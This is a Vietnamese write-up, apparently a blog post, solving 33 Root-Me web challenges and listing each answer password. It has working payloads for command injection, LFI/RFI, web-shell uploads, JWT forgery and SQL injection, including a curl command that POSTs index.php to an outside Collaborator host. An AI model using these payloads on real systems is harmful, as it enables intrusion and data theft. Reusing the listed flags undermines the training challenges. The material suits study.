1. HTML - Source code
Bài đầu tiên khá đơn giản, chỉ cần view source là thấy ngay password rồi
password là: nZ^&@q5&sjJHev0
2. HTTP - Open redirect
khi vừa mới vào bài này bạn đề ý tên của bài nhé. Hàm ý bảo là sẽ làm gì đó để kích hoạt chuyển hướng và để giải quyết bài này ta phải chuyển hướng đến tên miền khác với tên hiển thị trong web. Ok , khi view source ta thấy có 3 đường dẫn đến 3 website tương ứng. Tuy nhiên sau đó lại có tham số h truyền vào. Nó có ý nghĩa gì vậy. thử thay đổi h 1 chút xem sao.
Yeah kết quả là nó chẳng chuyển hướng được. tại sao vậy nhỉ. Nhìn vào chuỗi giá trị của h . Hmm rất giống hash MD5 của 1 chuỗi gì đó. Nhưng nó lại liên quan đến việc chuyển hướng. Để thử dự đoán, tôi hash thử chuỗi http://facebook.com
và nó ra đúng giá trị của h. Ok vậy dễ rồi. để chuyển hướng ngoài domain ta cần giá trị hash MD5 của nó ví dụ như google.com
đi. Payload sẽ là : ?url=https://google.com&h=99999ebcfdb78df077ad2727fd00969f.
và password là: e6f8a530811d5a479812d7b82fc1a5c5
3. HTTP - User-agent
Ngay từ đầu thì tên bài này đã gợi ý cho chúng ta 1 chút rồi. Cơ bản thì User-agent là 1 header biểu thị thông tin về browser của bạn. Khi bắt đầu challenge ta sẽ thấy 1 website như sau:
Ta thấy 1 dòng duy nhất:
Wrong user-agent: you are not the "admin" browser!
Bạn còn nhớ tới user-agent header tôi nói ở trên chứ. Tiêu đề này hiển thị thông tin về browser của bạn. Mà câu trên chỉ ra rằng bạn không phải "admin" browser. Như vậy ta chỉ cần sửa lại giá trị tiêu đề user-agent thành admin là xong:
password là: rr$Li9%L34qd1AAe27
4. Weak Password
Bài này thì khá đơn giản. sau khi vào chall ta thấy đề bắt yêu cầu nhập username và password. Ngay từ đầu tôi thử nhập admin/admin. Ai ngờ nó được luôn thế là ra luôn.
Password: admin
5. PHP - Command injection
The flag is on the index.php
file.
Đây là gợi í của bài. Yeah mục tiêu là phải đọc được file index.php
này. Khi bắt đầu vào chall, ta thấy 1 công cụ dùng để ping đến ip bạn nhập vào. Có thể tool này dùng câu lệnh exec('ping $ip')
trong php để thực hiện lệnh ping.
bài này thì khá giống kiến thức đối với lỗi Command injection trong PortSwigger nói khá rõ (ở đây). Ta sẽ dùng dấu ngăn cách lệnh trong linux ;
để thử xem sao. Ở đây tôi thực hiện lệnh ls -la
để xem trong thư mục này có những gì (payload: google.com;ls -la)
Tốt rồi có file index.php, ta xem file đó có gì nào (payload: google.com;cat index.php)
Xem source code ta nhận được password: S3rv1ceP1n9Sup3rS3cure
6. Backup file
Tên bài là backup file nha. Khi vào chall ta thấy ô nhập login và password. Tuy nhiên từ từ đã. Bạn chẳng thể mò mẫm được. Nhớ tên bài là Backup file nha. Như vậy ta sẽ tìm cách tìm được file backup để xem source code. Ở đây tôi dùng công cụ dirsearch
để tìm các file ẩn.
Ở đây tôi tìm được file index.php~. Yep đây chính là file backup của nó. Tải về xem được gì nào.
password: OCCY9AcNm1tj
7. HTTP - Directory indexing
Nghe tên bài có mùi kiểu cây thư mục í nhỉ ^-^. Đầu tiên ta sẽ xem source code xem có gì.
Bạn thây cái này chứ: <!-- include("admin/pass.html") -->
. Ta vào theo đường dẫn xem có gì
Ta chẳng được gì cả. Wait, tại sao họ cho mình đi đến tận admin/pass.html mà không có gì. thử back ra /admin xem sao.
Thấy ngay thư mục có tên backup. Ngon rồi đây. Vào đó xem.
Đấy, có admin.txt rồi kìa. vào đó chắc là có kết quả rồi.
-> password: LINUX
8. HTTP - Headers
Đây là gợi ý của bài nhé: HTTP response give informations Hmm. Nhắc tới response, thế mình cứ đưa vào burp chặn xem ta có gì.
Bận thấy thằng: Header-RootMe-Admin: none
chứ. Thế chắc muốn đi tiếp ta phải có thằng header này ở request rồi. Giá trị của nó ta đặt thành true.
ta có ngay password: HeadersMayBeUseful
9. HTTP - POST
Khi vào chall, mục tiêu của ta là phải vượt qua số điểm 999999 thì mới có thể lấy được password. Sau 1 số lần thử Give a try tôi cũng chẳng thể vượt qua được số điểm đó. Cũng đúng thôi chả nhẽ dễ mà qua thế. Thử đưa vào burp sửa đổi giá trị của điểm xem có dược không.
Yeah. Ăn ngay. Password: H7tp_h4s_N0_s3Cr37S_F0r_y0U
10. HTTP - Improper redirect
Sau khi bắt đầu chall, ta lại thấy form đăng nhập quen thuộc, Sau khi loay hoay 1 hồi thì ô thôi chả đâu vào đâu cả. Bài này tôi phải lục tìm write up. Bị lừa rồi. Haizz.Làm sao có chuyện chuyển hướng chỉ với cái tham số redirect được chứ (http://challenge01.root-me.org/web-serveur/ch32/login.php?redirect). Tóm lại là lại vứt vào burp xem nó từ đâu đưa mình đến đây.
Vâng và ta có password rồi: ExecutionAfterRedirectIsBad Lỗi ở đây chính là sau khi redirect trang bằng header Location, họ quên exit() hoặc die() nên phần code theo sau vẫn được thực hiện.
// PHP permanent URL redirection
header("Location: http://www.domain.com/new-page.php", true, 301);
exit(); // <----- notice
// old code and flag go here
?>
11. HTTP - Verb tampering
Bài này về cơ bản là nó xác thực với phương thức thường dùng là GET và POST. Như vậy thì mình chỉ cần sửa phương thức thành cái khác ví dụ như PUT chẳng hạn là được (Bài này tôi phải đọc write up mới làm được - ai ngờ xác thực như vậy đâu. hic)
password: a23e$dme96d3saez$$prap
12. install files
Đầu tiên thì PhpBB là một phần mềm miễn phí và cung cấp các tính năng hữu ích có sẵn, đây là công cụ xây dựng diễn đàn phổ biến nhất hiện nay. Cái tên phpBB là từ viết tắt của cụm PHP Bulletin Board
.
Đọc source ta thấy dòng này: <!-- /web-serveur/ch6/phpbb -->
.
Với bài này ta sẽ dùng dirsearch để xem có những file ẩn nào.
Ở đây Dev quên xóa folder install rồi.HAHA. truy cập vào xem có gì nào.
Thấy file install.php rồi. Ngon rồi. Truy cập vào ta được password luôn
password: karambar
13. CRLF
Bài này thì liên quan đến kiến thức về CRLF. Đầu tiên các bạn cần biết CRLF là viết tắt của Carriage Return và Line Feed, CR và LF là các ký tự điều khiển, được mã hóa tương ứng0x0D (13 trong hệ thập phân) và 0x0A (10 trong hệ thập phân). Chúng được sử dụng để đánh dấu ngắt dòng trong tệp văn bản.
Khi bạn nhập vào ô login là gì thì nếu xác thực không thành công, log sẽ ghi lại giá trị đó cộng với câu: "failed to authenticate.". Mục tiêu của ta là phải xác thực thành công, tức là phải log lại được thằng admin xác thực thành công. Như vậy lợi dụng CRLF ta sẽ có payload như sau:
http://challenge01.root-me.org/web-serveur/ch14/?username=admin%20authenticated.%0d%0aguest&password=
trong đó %0d%0a là \r\n. Giải thích payload này. Sau khi cho chạy, ta sẽ log được 2 dòng như hình dưới.
password: rFSP&G0p&5uAg1%
14. File upload - Double extensions
Your goal is to hack this photo gallery by uploading PHP code. Retrieve the validation password in the file .passwd at the root of the application.
Đây là gợi ý của đề bài. Tóm lại ta sẽ tìm cách upload file PHP lên server và đọc file .passwd để tìm password. Ok vào bài thôi.
Nó chỉ cho upload file ảnh có đuôi .gif, .jpeg and .png thôi. Lên google tìm 1 con shell PHP rồi đổi tên nó thành đuôi .png là ok rồi. Ở đây tồi dùng Pony shell. Sau khi up load ta truy cập vào shell. Sau đó ta dùng ls -la để tìm xem trong các thư mục có gì, cho đến khi tìm được file .passwd rồi ta cat để xem nội dùng file đó thôi.
password: Gg9LRz-hWSxqqUKd77-_q-6G8
15. File upload - MIME type
Bài này tương tự bài trước tuy nhiên, Lần này ta không thể gửi file như bài trước lên được nữa. Lí do nó đã cấu hình đúng rồi. Tuy nhiên nó lại sử dụng Content-Type để định kiểu dữ liệu gửi đi. Như vậy ta có thể sử dụng Burp để chặn và sửa đổi (Các bước y hệt bài trên ngoại trừ xóa đuôi .png trong request gửi lên trong burp)
Sau khi truy cập được vào shell ta làm tương tự như bài trên để đọc được file .passwd
Password: a7n4nizpgQgnPERy89uanf6T4
16. HTTP - Cookies
Sau khi view source ta thấy có 1 comment khả nghi: <!--SetCookie("ch7","visiteur");-->
Khi send email thì hiện ra thông báo Email saved. Nhưng khi bấm Saved email adresses thì lại hiện thông báo You need to be admin. Ta sử dụng burp tiến hành chặn request thử xem.
bạn sẽ thấy phần tiêu đề cookie có giá trị là ch7=visiteur. Sửa lại giá trị này thành ch7=admin là ok.
password: ml-SYMPA
17. Insecure Code Management
Bài này liên quan đến git. Khi cài đặt mọi thứ với git thì sẽ có 1 folder được tự động generate là .git. Đẻ kiểm tra xem có folder này tồn tại hay không. Tôi sử dụng công cụ dirsearch để tìm kiếm
Bây giờ ta tải hết chúng xuống bằng câu lệnh: wget -r http://challenge01.root-me.org/web-serveur/ch61/.git/
. Sau đó sử dụng git show để xem kết quả.
password: s3cureP@ssw0rd
18. JSON Web Token (JWT) - Introduction
Bài này có liên quan dến kiến thức về JWT. Để giải quyết bài này ta phải kết nối đến như là admin. Khi vào bài ta sẽ thấy khung đăng nhập. Dĩ nhiên là ta chưa biết username cũng như password. Tuy nhiên ta lại được phép đăng nhập như là guest. Thử chặn bằng burp xem có gì.
Bạn để ý phần respone trả về có tiêu đề Set-Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk
. Lấy giá trị JWT kia và sử dụng công cụ jwt.io để decode nó ra xem.
Như bạn thấy ở đây phần Payload chứa giá trị "username": "guest". Và phần Signature chúng ta không biết. Tuy nhiên chúng ta có thể bỏ qua nó bằng cách để "alg": "none" (cái này do nó bị dính lỗi CVE-2018-1000531). Để kết nối đến như là admin, ta thay "username": "admin". Ở đây tôi dùng thư viện pyjwt trong python để tạo mã jwt. Ta được mã: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0. Copy mã này vào tiêu đề Cookie: trong burp ta được
password: S1gn4tuR3_v3r1f1c4t10N_1S_1MP0Rt4n7
19. Directory traversal
Sau khi vào bài, ta thấy để truy cập vào các tag đều thông qua param ?galerie= . Ta sử dụng dirbuster để tìm kiếm các tag khả thi.
Thấy xuất hiện đường link sau mà không có trên giao diện trang web: http://challenge01.root-me.org/web-serveur/ch15/ch15.php?galerie=86hwnX2r
. Truy cập vào thì thấy có 1 mục là password.txt. Truy cập vào ta lấy được password
password: kcb$!Bx@v4Gs9Ez
20. File upload - Null byte
Bài này cũng tương tự bài trước. Tuy nhiên ở bài này thì ta sẽ thực hiện chèn kí tự null vào tên file. Lí do là vì nó check đuôi file nhưng khi đọc tên file nó chỉ đọc đến kí tự null rồi dừng lại. Lỗi này đã được fix từ phiên bản PHP 5.3
Sau khi upload thành công ta nhấp vào ảnh vừa upload và thu được password: YPNchi2NmTwygr2dgCCF
21. JSON Web Token (JWT) - Weak secret
Sau khi truy cập ta được như sau:
{"message": "Let's play a small game, I bet you cannot access to my super secret admin section. Make a GET request to /token and use the token you'll get to try to access /admin with a POST request."}
Ta tạo GET request đến /token thì được 1 token sau:
eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3Vlc3QifQ.a4Cxf97xhqpexX-Mw0Ik74ncg6TdCK8R_Q7wYC929himTEOyJmePFYCJYvj-ICUTZrVqjPUa83GeMO5AVuOH0Q
Đưa vào jwt.io thì ta được như sau:
Phần payload có ghi là
{
"role": "guest"
}
như vậy để truy cập như là admin ta chỉ cần thay đổi thành
{
"role": "admin"
}
Tuy nhiên cái khó ở đây là chúng ta không biết private key của nó là gì. Ở đây ta chỉ còn cách là vét cạn các khả năng thôi. Tôi dùng jwt_tools và tập rockyou.txt để làm điều này
key của chúng ta là: lol Tiếp tục sử dụng thư viện pyjwt trong python để generate ra mã jwt của ta.
đưa mã đó vào burp suite khi ta tạo POST request đến /admin là ta sẽ có được password
password: PleaseUseAStrongSecretNextTime
22. PHP - assert()
Trong lập trình PHP có các lệnh là include, require, include_once, require _ once cho phép việc file hiện tại gọi ra một file khác. File Inclusion Attack: là kỹ thuật khai thác dựa trên lỗi include file trong PHP. Dấu hiện để có thể tấn công FI là đường link thường có dạng php?page=,hoặc php?file=. Để biết website có bị lỗi này hay không ta chỉ việc thêm một dấu ‘ vào đường link, cụ thể php?page=’. Và trên trình duyệt có thông báo lỗi hiện ra. Khẳng định web này bị LFI bằng cách như trên.
Ở thông báo lỗi chúng ta có 2 lệnh trong PHP được sử dụng là assert() và strpos(). Trong đó hàm assert() kiểm tra đầu vào và trả về giá trị bool. Nếu kết quả là fallse thì nó sẽ thực hiện hành động thích hợp. Còn hàm strpos() dùng để tìm vị trí xuất hiện đầu tiên của chuỗi con trong chuỗi cha.
Code PHP của đoạn này có thể là:
assert("strpos('includes/$file.php', '..') === false") or die("Detected hacking attempt!");
Trong đó $file là nơi chúng ta nhập vào trên URL. Như vậy để bypass đoạn code trên ta xây dựng payload sau: http://challenge01.root-me.org/web-serveur/ch47/?page=','1') or system("ls -la");//
Ở đây mình để //
cuối để comment hết mấy phần không cần thiết đi.
Ok. payload hoạt động rồi. Vậy chúng ta đọc file .passwd thôi
password: x4Ss3rT1nglSn0ts4f3A7A1Lx
23. PHP - Filters
Sau khi truy cập vào trang login của bài thì trên URL khá gióng với bài trước. http://challenge01.root-me.org/web-serveur/ch12/?inc=login.php
. Cũng thử LFI như bài trước thế nhưng không được gì cả. Nhìn lại tên bài thì có lẽ phải sử dụng php://filter
ở đây.
php filter được dùng để xác thực và làm sạch đầu vào bên ngoài. có rất nhiều filter có thể được dùng. Một trong số đó là convert.base64-encode
và base64-decode
.
php://filter/convert.base64-encode/resource
cho phép chúng ta đọc bất kì file php nào. Tuy nhiên chúng sẽ được mã hóa base-64. Và chúng ta phải decode nó để có thể xem source các file
đối với bài này ta tiến hành đoán các file có thể hữu dụng. Trong trường hợp này file đó là config.php
payload: http://challenge01.root-me.org/web-serveur/ch12/?inc=php://filter/convert.base64-encode/resource=config.php
Ta nhận được 1 chuỗi được encode bởi base64. decode nó ra ta được password: DAPt9D2mky0APAF
24. PHP - register globals
Bài này ta sẽ ghi đè nội dung biến toàn cục. Đầu tiên ta phải tìm file backup của nó để xem nó hoạt động như thế nào. Ở đây tôi dùng dirsearch để làm việc đó.
file backup ở đây là index.php.bak. Tải về và xem nội dung.
Ở đây password sẽ hiện khi mà $_SESSION["logged"]==1. Như vậy ta thực hiện ghi đè biến này thông qua URL như sau: http://challenge01.root-me.org/web-serveur/ch17/?_SESSION[logged]=1
password: NoTQYipcRKkgrqG
25. File upload - ZIP
Để hiểu rõ về lệnh link và ln trong linux các bạn có thể đọc thêm ở đây. Bài này chúng ta tạo 1 liên kết đến file index.php:
ln -s ../../../index.php test.txt
Chúng ta cần quay lại 3 folder (các bạn thử từng folder 1 đến khi thấy index.php) và sau đó chúng ta nén lại với tùy chọn symlink (tạo liên kết tượng trưng)
zip --symlinks test.zip test.txt
sau khi upload file lên. ta đọc file test.txt là sẽ thấy password: N3v3r_7rU5T_u5Er_1npU7
26. Command injection - Filter bypass
Bài này tương tự bài 5. Về cơ bản ta cũng sẽ thấy 1 công cụ để ping đến 1 địa chỉ IP. Ta cũng thử với các dấu phân tách câu lệnh như bài 5, Tuy nhiên tất cả đều không được và trả về lỗi. Nhận thấy là chúng bị filter khá kĩ rồi. Không thể nào mà mò tay được và tôi cũng không đủ kiên nhẫn, nên tôi đã tìm được 1 list các payload về command injection ở đây. Bắt đầu tìm payload hoạt động được bằng cách sử dụng Burp Intruder.
Bạn để ý chứ. Những payload có %0A đều có respone trả về "Ping OK" tức có nghĩa là đã inject thành công. Tiếp theo để kiểm chứng xem liệu rằng ta có khai thác được hay không thì ta sẽ sử dụng burp repeater và inject command trên. Ở đây tôi sử dụng lệnh sleep 5 để kiểm chứng. Nếu thành công thì respone sẽ trả về sau 5 giây. Lí do tôi chọn lệnh này là do nó bị blind os command injection. Ta inject thành công tuy nhiên respone không trả về kết quả ta mong muốn
Để xử lý lỗi blind này ta thực hiện curl đến tên miền của chúng ta. Nếu ta nhận được request đến tức là thành công thực hiện Out-of-band rồi. Cho dễ dàng thì tôi dùng burp collaborator client (các bạn có thể sử dụng các nguồn khác như https://requestbin.com
) .
Tiếp theo ta sẽ thực hiện gửi nội dung file index.php với payload sau: google.com%0Acurl -X POST -d @index.php https://ugedll9lbfhvbjnt9vaotw69m0sqgf.burpcollaborator.net
Ở đây dấu @ tức là gửi nội dung file . Thế là ta đọc được index.php và password: Comma@nd_1nJec7ion_Fl@9_1337_Th3_G@m3!!!
27. Local File Inclusion
Local file inclustion (LFI) là kĩ thuật đọc file trong hệ thống , lỗi này xảy ra thường sẽ khiến website bị lộ các thông tin nhảy cảm như là passwd, php.ini, access_log,config.php…
Như bạn để ý thì trên URL có 2 tham số để chỉ định đường dẫn ta truy cập (dấu hiệu rất rõ ràng về lỗi RFI/LFI). Dựa vào bên góc phải thấy có 2 kiểu kết nối là guess/admin. Từ đó ta có thể đoán là có 1 thư mục tên là admin. Và cũng ở đề bài là ta phải tìm password trong admin section. Như vậy mục tiêu của ta là phải truy cập được vào file admin kia.
Tôi thử lần lượt "../" vào 1 trong 2 tham số cho đến khi xuất hiện file admin. Dưới đây là payload của tôi:
http://challenge01.root-me.org/web-serveur/ch16/?files=../admin&f=index.php
password: OpbNJ60xYpvAQU8
28. Local File Inclusion - Double encoding
Như bạn thấy đấy, Trang này điều hướng bằng tham số page. Như vậy rất có thể trang bị dính lỗi LFI/RFI. Tương tự như bài trước tôi cũng sử dụng "../" để quay về các thư mục trên hệ thống của web. Tuy nhiên không may mắn được nữa rồi. Tôi nhận được thông báo: Attack detected. Chắc dó web nó lọc các kí tự này rồi. Tôi đọc tài liệu này để có thể làm được bài này. Các kí tự thường dùng sau khi được encode và double encode sẽ như sau:
: => %3A => %253A
/ => %2F => %252F
. =>%2E => %252E
– => 2D => %252D
= => 3D => %253D
Đầu tiên tôi thử encode các kí tự ../ thành %2E%2E%2f
theo URLencode và thử lại vào trong tham số page. Tuy nhiên vẫn như cũ bị bật ra thông báo như trên. Hmm. Đề bài là double encoding . Thử encode tiếp 1 lần nữa xem sao, như vậy %2E%2E%2f thành %252E%252E%252F
Ok. không hiện thông báo kia nữa. Có hy vọng rồi. Nhiệm vụ của ta là phải đọc được source file của website này. Ứng dụng kiến thức như bài 23. Chúng ta sẽ sử dụng php://filte với base64 encoding.
Payload sẽ thế này: php://filter/convert.base64-encode/resource=contact
. Sau lần encode đầu tiên sẽ như thế này: php%3A%2F%2Ffilter%2Fconvert%2Ebase64-encode%2Fresource%3Dcontact
. Và encode tiếp 1 lần nữa sẽ được: php%253A%252F%252Ffilter%252Fconvert%252Ebase64-encode%252Fresource%253Dcontact
.
decode đoạn đó ra ta được
<?php include("conf.inc.php"); ?>
Rất có thể password nằm trong file conf.inc.php. Lưu í nữa là khi ta nhập tên file vào sau tham số page thì nó tự động thêm đuôi .inc.php. Như vậy ta chỉ cần thay contact thành conf là ok. Ta tiếp tục được 1 đoạn mã được encode bởi base64. decode nó ra là được
password: Th1sIsTh3Fl4g!
29. PHP - Loose Comparison
Kiến thức có liên quan ở đây. PHP có 2 model so sánh 1 là "==" gọi là loose comparison và "===" gọi là strict comparison. Khi đọc tài liệu ta thấy có 1 ví dụ sau: TRUE: "0e12345" == "0e54321". Các biết vì sao chúng nó bằng nhau không. lí do ở đây 0e trong php xem như là 0 mũ. Như vậy số đằng sau là bao nhiêu thì cũng bằng 0 thôi.
Quay lại bài. Sau khi đọc code thì ta thấy nhiệm vụ là phải điền vào giá trị vào ô seed và ô hash sao cho sau khi check ta được kết quả trả về true. Như vậy ta phải tìm giá trị ô hash sao cho sau khi hash MD5 nó bắt đầy bằng 0e. Để làm điều này ta sẽ chạy đoạn code sau:
import hashlib
import re
for i in range(0,999999999):
md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
regex = re.match("^[0-9]+$",md5[3:])
if ((md5[0:2]) == '0e' and regex):
print(str(i)+"=>"md5)
break
else:
print("wrong")
Và khi chạy thì kết quả là: 240610708=>0e462097431906509019562988736854 ta điền vào ô seed và hash giá trị lần lượt là 0e và 240610708 thì được password: F34R_Th3_L0o5e_C0mP4r15On
30. PHP - type juggling
Sử dụng burp suite bắt request ta có thể thấy dữ liệu được gửi đi dưới dạng chuỗi được encode.
Decode nó ra thi nhận thấy dữ liệu này được viết dưới dạng JSON. Password được hash SHA256.
Đọc code thì thấy để lấy được flag ta phải so sánh login với $USER và password với $PASSWORD_SHA256. Với tài liệu này ta có thể dễ dàng bypass được loại so sánh yếu này và bypass hàm strcmp(). Cụ thể với login=true thì khi so sánh với string nó sẽ trả về true. Đồng thời hàm strcmp sẽ trả về null khi so sánh 1 mảng với giá trị khác. Như vậy ta có thể xây dựng payload sau:
{"data":{"login":true,"password":["456"]}}
. Sau khi encode và gửi đi ta nhận được password: DontForgetPHPL00seComp4r1s0n
31. Remote File Inclusion
Bài này bạn để ý trên URL nhé. Nó cho phép ta chọn ngôn ngữ dựa vào tham số lang. Để kiểm tra ta thử cho giá trị của tham số là ../../etc/password
Ta nhận được thông báo lỗi. Dường như bất cứ thứ gì ta nhập vào đều được tự động thêm đuôi _lang.php._ Việc đầu tiên ta phải tìm cách bỏ cái đuôi này đi. Sau khi tìm 1 hồi thì tôi tìm được cách đó là thêm dấu ? vào sau chuỗi ta nhập. Thử truy cập đến 1 web khác. http://challenge01.root-me.org/web-serveur/ch13/?lang=https://vnexpress.net?
Ok ta đã truy cập được 1 trang khác. Bây giờ ta sẽ viết 1 đoạn code đơn giản từ trang https://pastebin.com/. Đoạn code :
<?php
echo file_get_contents("index.php");
?>
Ở đây hàm file_get_contents sẽ đọc nội dung file thành 1 chuỗi.
payload: http://challenge01.root-me.org/web-serveur/ch13/?lang=https://pastebin.com/raw/FsYqLDeV?
Password: R3m0t3_iS_r3aL1y_3v1l
32. SQL injection - Authentication
Sau 1 số lần thử thì tôi nhận thấy, Dù ta có bypass qua được thì tên người dùng vẫn là user1. mà nhiệm cụ của ta là phải lấy được password của admin kia. Để giải quyết vấn đề này ta nhập admin vào ô login và ' or ( 1=1 and username='admin')-- vào ô password Đọc source code ta được password: t0_W34k!$
33. PHP - preg_replace()
Tài liệu này là 1 hint khá tốt cho bài này. ở đây hàm preg_replace cung cấp 1 chức năng cho phép thực thi mã php ở đối số thứ 2 đó là /e. Điều ta cần làm là đọc được nội dung file flag.php. Ở đây ta điền ô search là /abc/e. Ô replace điền file_get_contents('flag.php') (dùng hàm này ở đây vì 1 số hàm khác như system(), exec()...không được phép vì lí do bảo mật). Ô content điền abc
và được kết quả:
password: pr3g_r3pl4c3_3_m0d1f13r_styl3